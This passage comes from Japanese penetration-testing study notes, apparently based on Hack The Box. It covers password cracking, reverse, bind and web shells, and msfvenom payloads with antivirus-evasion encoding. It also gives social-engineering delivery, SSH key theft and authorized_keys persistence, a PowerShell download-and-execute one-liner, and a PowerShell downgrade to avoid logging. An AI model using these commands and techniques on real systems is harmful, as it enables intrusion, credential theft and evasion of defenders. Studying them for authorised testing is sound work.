| web-form | Webログインフォーム | HTTP POST を使うログインフォームへの攻撃 | medusa -M web-form -h www.example.com -U users.txt -P passwords.txt -m FORM:"username=^USER^&password=^PASS^:F=Invalid" |
## 有用なファイルの検索
エンコードされたファイルの検索
{{CODE_BLOCK_155}}
SSHキーの検索
{{CODE_BLOCK_156}}
暗号化されたSSHの検索
{{CODE_BLOCK_157}}
SSH の秘密鍵 (SSH.private) を John the Ripper でクラックできる形式 (hash) に変換する
SSH.privateは、id_rsaに置き換えられる
出力を ssh.hash に保存。
{{CODE_BLOCK_158}}
SSHキーのクラック
{{CODE_BLOCK_159}}
## パスワード付きファイルのクラック
- パスワードで保護されたファイルや暗号化されたファイルも解読することもできる
{{CODE_BLOCK_160}}
{{CODE_BLOCK_161}}
また、それぞれのファイルにあったjohnを見つけて使用することもできる
それぞれのツールにあったjohnを検索する
{{CODE_BLOCK_162}}
Microsoft Office ドキュメントのクラッキング
{{CODE_BLOCK_163}}
{{CODE_BLOCK_164}}
PDF のクラッキング
{{CODE_BLOCK_165}}
{{CODE_BLOCK_166}}
**複雑な形式**
1. まず自分の目的に合ったjohnのスクリプトを探して、johnが解析できる.johnの形に変換する
{{CODE_BLOCK_167}}
1. johnでワードリストを指定して解析
{{CODE_BLOCK_168}}
## パスワード付き圧縮ファイルのクラック
zipファイルのクラック
- パスワード付きzipをjohnが解析する形にする
- rockyou.txtで辞書攻撃する
- クラックされたハッシュの表示
{{CODE_BLOCK_169}}
{{CODE_BLOCK_170}}
gzipファイルのクラック
{{CODE_BLOCK_171}}
bitlockerファイルのクラック
{{CODE_BLOCK_172}}
パスワードを解読すると、暗号化されたドライブを開く
BitLocker で暗号化された仮想ドライブをマウントする最も簡単な方法は、それを Windows システムに転送してマウントする
---
# ペイロード
## シェルの設置
### リバースシェル
攻撃者側でポートを開いて待ち受けて、そこにターゲットがアクセスすることでシェルを取得する
- なんか443で待ち受けておくと、ターゲットにファイアーウォールがあったとしてもスルーすることができる
- https://www.revshells.com/
ターゲットがWindowsの場合は、AntiVirus(AV)が働く可能性があるから、その時は、PSを右クリックから管理者権限で起動して、以下のコマンドを打つことで、AVをオフにできるって
{{CODE_BLOCK_173}}
### バインドシェル
ターゲット側でポート開いて待ち受けて、そこに攻撃者がアクセスすることで、シェルを取得する
バインドシェルの方が防御されやすい
- 接続は受信されるため、リスナーの起動時に標準ポートを使用しても、ファイアウォールによって検出およびブロックされる可能性が高くなるから
コマンド
- ターゲット側
{{CODE_BLOCK_174}}
- 攻撃者側
{{CODE_BLOCK_175}}
### Webシェル
- webページ上でのシェル
- 普通に使い勝手悪くね?
- リバースシェルでいいんじゃねとか思っちゃうけど
- そもそもリバースシェルのコマンドを仕込めない(アップロードしかできない、またはコマンド実行の権限が限定的)
- 外向き通信(外部への接続)が制限されている
- Web インターフェース越しに操作できる手段が欲しい(内向き通信しか許可されていないネットワークなど)
- PHPWebshell
- https://github.com/WhiteWinterWolf/wwwolf-php-webshell
Windows
- Laudanum
- `asp, aspx, jsp, php,`などを含む多くの異なるwebシェルの一覧がある
- `/usr/share/laudanum`にある
- Laudanum内のほとんどのファイルについては、そのままコピーして、被害者の実行に必要な場所に配置できる
- シェルなどの特定のファイルについては、最初にファイルを編集して`attacking`するホストのIPアドレスを挿入して、Webシェルにアクセスしたり、リバースシェルを使用するインスタンスでコールバックを受信したりする必要がある
- 59行目に攻撃者のIPも書き加える
- Antak
- `/usr/share/nishang/Antak-WebShell`にある
- Powershellコマンドを使えるwebシェル
- 編集する必要がある
- 14行目を、ユーザー(緑の矢印)とパスワード(オレンジ色の矢印)を追加する
- 以下の画像のように付け加える

### その他のペイロード生成ツール
| | |
| --------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| `MSFVenom & Metasploit-Framework` | [Source](https://github.com/rapid7/metasploit-framework) MSFは、あらゆるペンテスターのツールキットのための非常に汎用性の高いツールです。これは、ホストを列挙し、ペイロードを生成し、パブリックエクスプロイトとカスタムエクスプロイトを利用し、ホストで一度エクスプロイト後のアクションを実行する方法として機能します。スイスアーミーナイフと考えてください。 |
| `Payloads All The Things` | [ソース](https://github.com/swisskyrepo/PayloadsAllTheThings) ここでは、ペイロード生成と一般的な方法論に関するさまざまなリソースとチートシートを見つけることができます。 |
| `Mythic C2 Framework` | [ソース](https://github.com/its-a-feature/Mythic) Mythic C2フレームワークは、独自のペイロード生成のためのコマンドおよび制御フレームワークおよびツールボックスとしてのMetasploitの代替オプションです。 |
| `Nishang` | [Source](https://github.com/samratashok/nishang) Nishangは、Offensive PowerShellインプラントとスクリプトのフレームワークコレクションです。これには、どのペンテスターにも役立つ多くのユーティリティが含まれています。 |
| `Darkarmour` | [Source](https://github.com/bats3c/darkarmour) Darkarmourは、Windowsホストに対して使用するために難読化されたバイナリを生成して利用するツールです。 |
# Metasploit
なんか検索全体で、こんな感じで、`grep` で検索できるらしい
{{CODE_BLOCK_176}}
## Moduleのタイプ
- Auxiliary
スキャン、ファズ、スニッフィング、管理などの補助的な機能を提供し、追加サポートを行います。
- Encoders
ペイロードがターゲットに正しく届くように変換処理を行います。
- Exploits
ペイロードの配信を可能にする脆弱性を突くモジュールです。
- NOPs
(No-Operationの略)エクスプロイト実行時にペイロードのサイズを一定に保つ役割を果たします。
- Payloads
リモートでコードを実行し、攻撃者のマシンにコールバックして接続(またはシェル)を確立します。
- Plugins
追加スクリプトがmsfconsoleに統合され、評価作業をサポートします。
- Post
情報収集やさらなるネットワーク内移動(ピボット)のための各種モジュールです。
- モジュールについてさらに知りたいとき : モジュールを選択した後、コマンド`info`
## Targetsについて
- ターゲットには、Internet Explorerの異なるバージョンや様々なWindowsバージョンが含まれる
- 「Automatic」を選択すると、msfconsoleは攻撃成功前に指定されたターゲットでのサービス検出を行う
- 対象システムのバージョンが分かっている場合は、`show targets`の後に、`set target <index no.>`コマンドでリストから適切なターゲットを選択できる
- ターゲットは、選択したエクスプロイトモジュールを特定のOSバージョンに適応させるための一意の識別子として機能する
## Payloadについて
- 中でMsfvenomが動いているので、上のMsfvenomの説明
- `grep meterpreter show payloads`で検索して、`set payload`で設定して、`show payload options`でオプションを検索する
Metaploit内では、以下で、payloadとencordを行える
- 利用可能なペイロードと同様に、エンコーダもエクスプロイトモジュールに従って自動的にフィルタリングされ、互換性のあるペイロードのみが表示される
{{CODE_BLOCK_177}}
### MSFVenom
- ペイロード生成とエンコードを一括で行える
- ペイロード作成
- 各種OS・アーキテクチャ向けに多様なペイロードを生成
- リバースシェルやバインドシェル、Meterpreterなど、Metasploitが提供するペイロードを一括で扱える
- ペイロードの暗号化・エンコード
- MSFvenomの機能により、ウイルス対策ソフトに検知されにくい形でペイロードを作成可能
- エンコードや暗号化を利用することで、一般的なシグネチャをバイパスできる可能性が高まる
- ソーシャルエンジニアリングとの組み合わせ
- メールに添付して実行を誘導したり、悪意あるWebリンクとして配布するなど、多彩な攻撃シナリオで活用
- 直接ネットワーク経由で攻撃できない場合に、ユーザーダブルクリック誘導などがよく使われる方法
- ペイロードのリストの一覧を表示する
{{CODE_BLOCK_178}}
Descriptionに書いてあるstagedとstagelessの違い
- staged
- マルウェアのダウンローダーみたいな感じで、最初に実行して、外部サーバーから本命の大きなペイロード実行ファイルをダウンロードして、実行する
- メモリを食う
- ターゲットのネットワークが安定していないと無理
- stageless
- ステージなしでネットワーク接続を介して全体として送信される
- 十分のネットワークリソースにアクセスできない環境で、遅延が干渉する可能性がある場合に有効
- **ステージレスペイロードの方が良い!**
- ソーシャルエンジニアリングの時も回避しやすい
- 見分け方
- 名前に`/`で細かく区切りが多い→staged
- 例 : `windows/meterpreter/reverse_tcp`
- `_`で機能がまとまっていれば→stageless
- 例 : `windows/meterpreter_reverse_tcp`
**Windowsの代表的なペイロード**
| ペイロード | 説明 |
| ------------------------------- | ------------------------------------------------ |
| generic/custom | 汎用リスナー、マルチユース |
| generic/shell_bind_tcp | 汎用リスナー、マルチユース、通常のシェル、TCP接続のバインド |
| generic/shell_reverse_tcp | 汎用リスナー、マルチユース、通常のシェル、リバースTCP接続 |
| windows/x64/exec | 任意のコマンドを実行 (Windows x64) |
| windows/x64/loadlibrary | 任意のx64ライブラリパスをロード |
| windows/x64/messagebox | MessageBoxを使用して、タイトル、テキスト、アイコンをカスタマイズ可能なダイアログを生成 |
| windows/x64/shell_reverse_tcp | 通常のシェル、単一ペイロード、リバースTCP接続 |
| windows/x64/shell/reverse_tcp | 通常のシェル、ステージャー+ステージ、リバースTCP接続 |
| windows/x64/shell/bind_ipv6_tcp | 通常のシェル、ステージャー+ステージ、IPv6 Bind TCPステージャー |
| windows/x64/meterpreter/$ | Meterpreterペイロード+上記の各種バリエーション |
| windows/x64/powershell/$ | 対話型PowerShellセッション+上記の各種バリエーション |
| windows/x64/vncinject/$ | VNCサーバー(反射型インジェクション)+上記の各種バリエーション |
### ペイロードの作成
エンコードなし
{{CODE_BLOCK_179}}
| **オプション/要素** | **役割・説明** |
| -------------------------------- | ------------------------------------------------------------------------- |
| `-p linux/x64/shell_reverse_tcp` | ペイロードの指定 : Linux 64ビット向けの“reverse TCP shell”を生成。実行すると、攻撃者側に逆接続してシェルを提供する。 |
| `LHOST=10.10.14.113` | 攻撃者のIPアドレス: ペイロードが確立しようとする攻撃者(こちら側)のIPアドレス。 |
| `LPORT=443` | 攻撃者のポート番号: ペイロードが接続を試みるポート番号。ここでは443を使用。 |
| `-f elf` | 出力ファイル形式の指定 : 生成するファイルをLinux向けのELF形式にする。 |
| `> createbackup.elf` | 標準出力のリダイレクト : 作成されたバイナリを`createbackup.elf`として保存する。 |
### エンコード
エンコーダの役割
- 異なるアーキテクチャへの対応
- ペイロードを異なるプロセッサアーキテクチャ(x64、x86、SPARC、PPC、MIPSなど)やOS上で動作させるために変換する役割を担っています。
- アンチウイルス(AV)回避
- ペイロード内に含まれる「bad characters」と呼ばれる16進数のオペコードを除去したり、ペイロードを異なるフォーマットにエンコードすることで、アンチウイルスによる検出を回避しやすくします。
- ※ただし、IPS/IDSメーカーが保護ソフトを進化させたため、AV回避専用のエンコーダーの効果は時間とともに薄れてきています。
Shikata Ga Nai (SGN) について
- 現在最も利用されているエンコーディング方式の一つであるSGNは、かつては検出が非常に困難なため、SGNでエンコードされたペイロードはほぼ検出不可能とされていました。
- 名前「仕方がない」は「どうしようもない」という意味で、数年前にはその通りに感じられたでしょう。しかし、現代ではSGNだけでは万能ではなく、保護システムを回避するために他の手法も検討されています。
shikata_ga_naiでエンコード
{{CODE_BLOCK_180}}
| オプション | 説明 |
| ------------------------------ | ----------------------------------------- |
| `-a x86` | アーキテクチャを x86 に指定 |
| `--platform windows` | プラットフォームを Windows に指定 |
| `-p windows/shell/reverse_tcp` | ペイロードとして Windows のシェル(リバースTCP接続)を選択 |
| `LHOST=127.0.0.1` | 攻撃者側(リスナー)のIPアドレスを 127.0.0.1 に設定 |
| `LPORT=4444` | 攻撃者側(リスナー)のポート番号を 4444 に設定 |
| `-b "\x00"` | ペイロードから除外するバッドキャラクターとして NULL を指定 |
| `-f perl` | 出力形式を Perl スクリプト形式に指定 |
| `-e x86/shikata_ga_nai` | エンコーダーとして x86/shikata_ga_nai を使用(エンコード処理) |
エンコードなし
{{CODE_BLOCK_181}}
#### AVの回避
最近のAVでは、それぞれのエンコードを一回行っても全然検知されてしまう
- 1つの簡単なAV回避の方法は、同じエンコーディングを反復してエンコードしてみること
- でも全然回避できないことが多いから、他の方法を使ったほうがいい
{{CODE_BLOCK_182}}
- Metasploitは、APIキーでペイロードを分析することができる`msf-virustotal`と呼ばれるツールを提供しているから、それで確認して、AVの回避を向上させるのも面白いかもしれない
- VirusTotalへの無料登録が必要
こんな感じで使えるらしい
{{CODE_BLOCK_183}}
### 実行手順の流れ
1. 攻撃者が `msfvenom` コマンドでペイロードを生成(`createbackup.elf`)
2. 攻撃者側がリスナーを開いて待ち受けておく
- `sudo nc -lvnp 443`
3. ターゲットにいずれかの方法でダウンロードさせる
##### Linux・Windows共通
- ファイル添付メール
- ウェブサイトのダウンロードリンク
- Metasploitエクスプロイトモジュールと組み合わせる(これはおそらく、すでに内部ネットワーク上にいる必要があります)。
- オンサイト侵入テストの一環として、フラッシュドライブを介して。
##### Windows
- Impacket
- ネットワーク プロトコルと直接対話する方法を提供する Python の組み込みツールセット
- `psexec`、`smbclient`、`wmi`、Kerberos、およびSMBサーバーをスタンドアップする能力を扱っているコマンド
- [Payload All The Things](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Download%20and%20Execute.md): は、ホスト間でファイルを便利に転送するのに役立つ迅速なワンライナーを見つけるための優れたリソース
- SMB
- 被害者のホストがドメインに参加し、共有を利用してデータをホストする場合に特に便利
- 攻撃者として、これらのSMBファイル共有を`C$`と`admin$`とともに使用して、ペイロードをホストして転送し、リンクを介してデータを流出させることさえできた
- `Remote execution via MSF`
- Metasploitの多くのエクスプロイトモジュールに組み込まれているのは、ペイロードを自動的に構築、ステージング、実行する関数
- 他のプロトコル
- ホストを見ると、FTP、TFTP、HTTP/Sなどのプロトコルは、ホストにファイルをアップロードする方法をがあるかも
- オープンで使用できる機能を列挙して探そう!
4. ターゲットで `createbackup.elf` を実行(適宜権限を付与し実行)
5. 実行されたプログラムが `LHOST` : `LPORT` へ接続
6. ncで待ち受けていた攻撃者側がシェルを取得できる
- Windowsでは、`encoding`や`encryption`がなければ、この形式のペイロードはほぼ確実にWindows Defender AVによって検出される
- BonusCompensationPDF.exeなんだけど、一般の人はあんまり拡張子をつけないから実行できるとかね
### Windowsファイル形式
ペイロードの時、どのファイルを選んだらいいの?
- **DLL (Dynamic Link Library)**
- **Microsoft OS で使用されるライブラリファイル**
- 複数のプログラムで同時に利用可能な**共有コードとデータ**を提供
- モジュール化されたアプリケーション構成を可能にし、**アップデートやメンテナンスが容易**
- **ペンテスター視点**: 悪意ある DLL の注入やライブラリのハイジャックにより、**SYSTEM 権限昇格**や**UAC (ユーザーアカウント制御) のバイパス**を狙える
- **バッチ (Batch) ファイル**
- **テキストベースの DOS スクリプト** (`.bat`)
- コマンドラインインタプリタを介して**複数のタスクを自動実行**
- システム上でのコマンド実行を容易にし、ポートを開く・攻撃者側への接続などの仕掛けが可能
- **ペンテスター視点**: 基本的な列挙を実行させたり、オープンポート経由で情報を取得するなど、自動化に利用
- **VBS (VBScript)**
- **Microsoft Visual Basic ベース**の軽量スクリプト言語
- もともと**動的なウェブページ用** (クライアントサイドスクリプト) として利用されていた
- **最新ブラウザでは非推奨・無効**が多い
- **ペンテスター視点**: フィッシングや Excel マクロなど、**ユーザーの操作を誘導**してコードを Windows スクリプトエンジンで実行させる手口で依然活用される
- **MSI (.msi ファイル)**
- **Windows インストーラーのインストールデータベース**として機能
- 新しいアプリをインストールする際、`.msi` ファイルを参照して必要コンポーネントを取得
- **ペンテスター視点**: ペイロードを `.msi` 化することで **Windows インストーラー**を利用し、`msiexec` コマンドで実行可能
- インストール後に**昇格権限のリバースシェル**などを得ることができる
- **PowerShell**
- **シェル環境 + スクリプト言語** (Microsoft OS での最新シェル)
- **.NET Common Language Runtime** 上で動作し、**.NETオブジェクト**を入出力として扱う
- **ペンテスター視点**: シェルの取得やホスト上でのスクリプト実行など、**侵入テストで幅広く活用**できる多数のオプションを提供
CMDとPSどっちのターミナル言語使えばいいの?
CMD を使用する場合
- 古いホストで PowerShell が含まれていない可能性があるとき
- ホストに対してシンプルな操作やアクセスだけが必要なとき
- シンプルなバッチファイル、net コマンド、または MS-DOS ネイティブツールを使用する予定のとき
- スクリプトやその他のアクションの実行に影響する可能性がある実行ポリシーを回避したいとき
PowerShell を使用する場合
- Cmdlet やその他の独自スクリプトを活用する予定のとき
- テキスト出力ではなく .NET オブジェクトとして操作したいとき
- ステルス性がさほど重要でないとき
- クラウドベースのサービスやホストとやり取りする予定のとき
- スクリプト内でエイリアス(Aliases)を設定・使用するとき
##### 侵入口としてのWSL
- **WSL(Windows Subsystem for Linux)**
- ホストに組み込まれた仮想 Linux 環境を提供
- OS の急速な変化に伴い、新たなホストアクセス手法を可能にする可能性
- Python3 と Linux バイナリを利用して、WSL を介し Windows ホストにペイロードをダウンロード・インストールするマルウェアが確認されている
- 攻撃者は Windows と Linux 双方にネイティブな Python ライブラリを使い、PowerShell と組み合わせてホスト上で別のアクションを実行
- **WSL インスタンスとの通信(ネットワーク要求や機能)は Windows ファイアウォールや Windows Defender で解析されず、ホストの死角となる**
- **PowerShell Core**
- Linux オペレーティングシステム上にもインストール可能
- 多くの通常の PowerShell 機能を引き継いでいる
- 攻撃ベクトルや監視手法がまだ十分に知られていないため、潜在的に卑劣な手段として利用されうる
- AV や EDR の検出メカニズムを回避する目的で使用される事例がある
### ファイアーウォールとIDS/IPS回避
- https://academy.hackthebox.com/module/39/section/416
## DatabaseMsfconsoleについて
- スキャン結果、エントリーポイント、検出された脆弱性、収集された資格情報などの情報を整理・管理するために使える
- msfconsoleではPostgreSQLが使用され、結果のインポートやエクスポートも可能
なんか今のところあんまり使いたい意欲ないから、使いたくなったら、ここに詳しく書いてあるよ
- https://academy.hackthebox.com/module/39/section/411
## Pluginについて
なんか今のところあんまり使いたい意欲ないから、使いたくなったら、ここに詳しく書いてあるよ
- https://academy.hackthebox.com/module/39/section/413
- プラグイン作るとかだったら面白そうと思うんだけどね
## **セッション管理**
- Meterpreterは繋げるまま、一旦Meterpreterから抜ける
{{CODE_BLOCK_184}}
- セッション一覧表示
{{CODE_BLOCK_185}}
- セッション接続・セッションに戻る
{{CODE_BLOCK_186}}
- セッション全終了
{{CODE_BLOCK_187}}
### **特権昇格の発見とエクスプロイト**
Mesterpreterでユーザー権限でセッションが確立している時、ターゲットシステムに適した特権昇格エクスプロイトを提案させることができる
{{CODE_BLOCK_188}}
---
# シェルアップデート
- linux
- python3 -c 'import pty; pty.spawn("/bin/bash")'
- /bin/sh -i
- perl —e 'exec "/bin/sh";'
- awk 'BEGIN {system("/bin/sh")}'
- find / -name nameoffile -exec /bin/awk 'BEGIN {system("/bin/sh")}' \;
- find . -exec /bin/sh \; -quit
- vim -c ':!/bin/sh'
- 以下は、スクリプトで書いて実行する必要がある
- perl: exec "/bin/sh";
- ruby: exec "/bin/sh"
- lua: os.execute('/bin/sh')
Vimのセッション内でもできる
{{CODE_BLOCK_189}}
- windows
- 方法 : rlwrap は、コマンドラインの入力履歴や補完機能を提供するラッパープログラムです。これを nc と組み合わせることで、シェルの機能を強化できます。
{{CODE_BLOCK_190}}
# 横展開
## Linux
リバースシェルで、ログインした時、最初は、「www-data」であることがある。
その時、www-dataのパスワードがわからないので横展開が必要
- データベース情報を書き換える・新規追加
- ローカルの空いてるポート見つけるコマンド
- `netstat -tuln`
- データベースの種類を見分ける方法
- **ポート番号3306**は、MySQLまたはMariaDBのデフォルトポート
- **ポート番号:5432**:PostgreSQL
- HTBでの認証情報の使い回し
- webのログインで取得したパスワードとサーバー上のユーザーが同じことがある
- DBの設定ファイルにあるパスワードとsshのパスワードが同じ
- **`/etc/passwd` から有効なシェルを持つユーザーの確認**
- `/etc/passwd` の最後のフィールドは、**そのユーザーのデフォルトシェル** を示している。
- `/bin/bash` ・`/bin/sh`
- ユーザーは、**通常のログインが可能**。
- 横展開先のユーザーに最適
- **`/usr/sbin/nologin`**
- このシェルが設定されているユーザーは、**ログインできない** ように制限されている。
- 例えば、`www-data` や `mysql` などのシステムユーザーに設定されている。
- **`/bin/false`**
- これもログインを拒否するための設定。
- `false` コマンドは何もせず終了するため、**ログインを試みても即ログアウトする**。
横展開先のユーザーを探す時に使える。
### ディレクトリトラバーサル
- 以下のリンクのディレクトリトラバーサル試していく
- https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Directory%20Traversal/README.md#path-traversal
- [[Web Page, Web App#LFIスキャンの流れ]]
## ピポット・トンネリング・ポートフォワーディング
[[Pivoting・Tunneling ・Port Forwarding]]
# 権限昇格
- 現在のユーザーで、sudo コマンドを使用して実行可能なコマンドや権限を確認する
{{CODE_BLOCK_191}}
- 正直HTBのEasyとかMediumの一部では、このコマンド打って、NoPasswordって書いてあるスクリプトをsudo権限で実行すれば権限昇格できる。
- ここにまとまってるから、あとでまとめる
- https://scrapbox.io/tadanomemo777/Linux_%E6%A8%A9%E9%99%90%E6%98%87%E6%A0%BC
### 権限昇格で使えるチェックリスト
- [HackTricks](https://book.hacktricks.xyz/)
- [Linux](https://book.hacktricks.wiki/ja/linux-hardening/linux-privilege-escalation-checklist.html) と [Windows](https://book.hacktricks.wiki/en/windows-hardening/checklist-windows-privilege-escalation.html) の両方のローカル特権の昇格に関する優れたチェックリスト
- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings)
- [Linux](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Privilege%20Escalation.md) と [Windows](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md) の両方のチェックリストがある
### 自動列挙ツール
- 上記のコマンドの多くは、レポートを調べて弱点を探すためにスクリプトで自動的に実行される場合がある
- 興味深い結果を返す一般的なコマンドを実行することで、多くのスクリプトを実行してサーバーを自動的に列挙できる
- 一般的な Linux 列挙スクリプトには、[LinEnum](https://github.com/rebootuser/LinEnum.git) と [linuxprivchecker](https://github.com/sleventyeleven/linuxprivchecker) があり、Windows には [Seatbelt](https://github.com/GhostPack/Seatbelt) と [JAWS ](https://github.com/411Hall/JAWS)がある。
- [Privilege Escalation Awesome Scripts SUITE(PEASS)](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)
- 最新の状態に保つために適切に維持されており、LinuxとWindowsの両方を列挙するためのスクリプトが含まれている
しかし、自動列挙ツールはウイルス対策ソフトウェアまたはセキュリティ監視ソフトウェアをトリガーする可能性のある多くの「ノイズ」を生成するので、スクリプトの実行が妨げられたり、システムが侵害されたというアラームがトリガーされたりする可能性がある。場合によっては、スクリプトを実行する代わりに手動列挙を実行する必要がある。
これらのスクリプトの出力で、探すべき脆弱性
- カーネルエクスプロイト
- 普通にバージョンが古いOSだと、パッチが当たってないから、脆弱性になりうる
- 脆弱なソフトウェア
- linux : `dpkg -l`
- インストールされているソフトウェアが、古いバージョンの時、脆弱性がある場合がある。
- Windows : `C:\Program Files`以下を見る
- ユーザー権限
- Sudo
- `sudo -l`
- (ALL : ALL) ALL
- `sudo`ですべてのコマンドを実行でき、完全なアクセス権を与え、`sudo`で`su`コマンドを使用してルートユーザーに切り替えることができると述べています。
- (user : user) NOPASSWD: /bin/echo
- `sudo`でコマンドを実行するにはパスワードが必要です。特定のアプリケーション、またはすべてのアプリケーションをパスワードなしで実行できる場合があり
- SUID
- SUID バイナリ (Set User ID) を検索して一覧表示する
- `find / -type f -perm -04000 -ls 2>/dev/null`
- Windows Token Privileges
- GTFOBins : https://gtfobins.github.io
- Windows版 GTFOBins : https://lolbas-project.github.io/#
スケジュールされたタスク
- スケジュールされたタスク(Windows)またはcronジョブ(Linux)を利用して特権をエスカレーションするには、通常2つの方法があります。
- 新しいスケジュールされたタスク/cronジョブを追加する
- 悪意のあるソフトウェアを実行するように彼らをだます
- 新しいスケジュールされたタスクを追加できるかどうかを確認する
- /etc/crontab
- /etc/cron.d
- /var/spool/cron/crontabs/root
- cronジョブによって呼び出されたディレクトリに書き込むことができれば、実行時にリバースシェルを送信するリバースシェルコマンドでbashスクリプトを記述できる
SSHキー
- 特定のユーザーの .ssh を読み取れるアクセス権がある場合
- 以下のプライベート ssh キーを参照・コピー
- `cat /root/.ssh/id_rsa`
- `cat /user1/.ssh/id_rsa`
- ローカルにペースト・権限を与える
- `nano id_rsa`
- `chmod 600 id_rsa`
- ローカルから接続
- `ssh root@94.237.53.117 -p 53658 -i id_rsa`
ユーザー`/.ssh/`ディレクトリへの書き込みアクセス権がある場合
- ユーザーのsshディレクトリの/home/user/.ssh/authorized_keysに公開鍵を配置
- 出力ファイルを指定するには、まず ssh-keygen と -f フラグで新しいキーを作成する
{{CODE_BLOCK_192}}
- `key`(`ssh -i`で使用します)と`key.pub`の2つのファイル
- `key.pub`をコピーして、リモートマシンで`/root/.ssh/authorized_keys`に追加
- 被害者PCで実行
{{CODE_BLOCK_193}}
- これで、リモートサーバーは、秘密鍵を使用してそのユーザーとしてログインできるはず
{{CODE_BLOCK_194}}
## LOLBANS
Living Off the Landで使うための辞書的存在
- 環境にあるものだけでやりくりする
- つまり、Windows/Active Directoryに標準で備わっているツールやコマンドだけを使う手法に頼らざるを得ない
- また、他のツールを使うことで、アラートも少なくなる可能性がある
- IPS/IDSなどが、通常の通信とは異なる通信ということでアラートが出るようになっている可能性もあるため
LOLBANSについてまとめているサイト
- Windows
- https://lolbas-project.github.io
- Linux
- https://gtfobins.github.io/
その他、使えるコマンド
### Windows
Powershell上で実行
#### 基本的な列挙
| **コマンド** | **結果** |
| ------------------------------------------------------------------------------------------ | -------------------------------------------------------------------------------------- |
| hostname | PCの名前を表示する |
| [System.Environment]::OSVersion.Version | OSのバージョンとリビジョンレベルを表示する |
| wmic qfe get Caption,Description,HotFixID,InstalledOn | ホストに適用されているパッチやホットフィックスの一覧を表示する |
| ipconfig /all | ネットワークアダプターの状態と構成を表示する |
| set | 現在のセッションでの環境変数一覧を表示する(CMDプロンプトから実行) |
| echo %USERDOMAIN% | ホストが所属しているドメイン名を表示する(CMDプロンプトから実行) |
| echo %logonserver% | ホストがチェックインしているドメインコントローラーの名前を表示する(CMDプロンプトから実行) |
| **systeminfo** | 上のコマンド達の結果をこのコマンドで表示できる |
| Get-Module | 使用可能な(ロードされている)モジュールの一覧を表示 |
| Get-ExecutionPolicy -List | ホスト上の各スコープごとの実行ポリシー設定を表示 |
| Set-ExecutionPolicy Bypass -Scope Process | -Scope パラメータを使用して、現在のプロセスだけに実行ポリシーを一時的に変更する。このプロセスを終了すると元に戻るため、ホストに恒久的な変更を加えずに済む |
| `Get-ChildItem Env:\| ft Key,Value` | 環境変数(キーと値のペア)を一覧表示し、パス、ユーザー名、コンピュータ情報などを取得 |
| Get-Content $env:APPDATA\Microsoft\Windows\Powershell\PSReadline\ConsoleHost_history.txt | 特定ユーザーのPowerShellコマンド履歴を取得します。この履歴にはパスワードや、パスワードが含まれる設定ファイル/スクリプトの手がかりがある場合もあるため、有用です。 |
| powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('ダウンロード元のURL'); <続くコマンド>" | Web上からファイルをダウンロードして、メモリ上で実行するためのシンプルかつ迅速な方法です。 |
#### 運用上のセキュリティ戦術
Powershellのダウングレード
- ディフェンス側は、1台のホストに複数バージョンのPowerShellが存在している可能性があることに気づいていないことがある
- アンインストールされていなければ、古いバージョンも依然として使用可能
- PowerShellの**イベントログ記録機能は、PowerShell 3.0以降で導入された**機能
- 逆に、PowerShell 2.0以前のバージョンを呼び出すことができれば、そのシェル上での操作はEvent Viewer(イベントビューア)に記録されない
- **ディフェンダーの監視の目をかいくぐる**ための優れた方法の一つ
Powershellをダウングレードするコマンド
{{CODE_BLOCK_195}}
本当にダウングレードできているのか
- ダウングレードする前とダウングレードした後に`Get-Host`コマンドを打って、出力結果の`Version`の部分を見る
- ダウングレードした後のVersionが2.0になっていなければOK
本当にログが記録されていないか
- PowerShell Operationalログ
- 場所:`Applications and Services Logs > Microsoft > Windows > PowerShell > Operational`
- → ここには、セッション内で実行されたすべてのコマンドが記録されるはずなので、ここに記録されていなければ大丈夫
- Windows PowerShellログ
- 場所:`Applications and Services Logs > Windows PowerShell`
- → PowerShellを起動したときに、そのインスタンスがログとして記録されるので、ここに記録されていなければ大丈夫
- 注意点
- PowerShellセッション内で powershellのダウングレードを実行したという操作自体はログに記録される
#### 防御機構の確認
Windowsファイアーウォールの設定状態や、稼働状況を確認する
ファイアーウォールの確認
- 全てのファイアーウォールプロファイル(ドメイン・プライベート・パブリック)に関する設定情報が表示できる
{{CODE_BLOCK_196}}
Windows Defenderの確認
cmd.exeで実行
- STATEの部分に注目する
{{CODE_BLOCK_197}}
Defender の詳細なステータスや構成設定を確認する
{{CODE_BLOCK_198}}
**自分以外に誰かログインしていないか**
- 自分以外もログインしていた場合、ポップアップウィンドウが出たり、強制ログアウトさせられることがある
- なので、まず侵入した時は自分以外に誰かログインしていないかを確認する
{{CODE_BLOCK_199}}
STATEの見方
| STATE | 意味 | 誰かログインしてる? | 補足 |
| ---------------------- | --------------------------- | ---------- | ------------------------- |
| **Active** | セッションが**アクティブ(操作中)** | ✅ はい | ユーザーが現在ログイン&使ってる状態 |
| **Disc**(Disconnected) | セッションが**切断された**(ログイン中だが未使用) | ✅ はい | RDP切断後とか。まだメモリ上にセッションはある |
| **Listen** | セッション待機中(**接続待ち状態**) | ❌ いいえ | 誰もログインしてないが、RDP接続を待っている状態 |
| **Idle** | 放置状態(Activeのまま時間が経過) | ✅ はい | 実際はActiveと同じ扱いになることもある |
類似コマンド
- Windows環境で現在ログインしているユーザーのセッション情報を一覧表示するコマンド
{{CODE_BLOCK_200}}
#### ネットワーク情報
- 現在のホストが把握している他のホストやネットワークを表示する
- ルーティングテーブルに表示されるネットワーク
- ホストが頻繁にアクセスしているか、もしくは管理者によってルートが明示的に設定されている
- つまり、そのネットワーク上にあるドメインのリソースにアクセスする手段を知っているということ
これらのコマンドは、ブラックボックス型の探索フェーズで役にたつ
パッシブな情報収集手段として非常に有効
**AD環境の列挙に役立つだけでなく、他のネットワークセグメントへのピボット(横展開)機会を見つける助け**にもなる
| **ネットワーク系コマンド** | **説明** |
| ---------------------------------- | --------------------------------------------------------------- |
| arp -a | ARPテーブルに記録されている既知のホスト一覧を表示 |
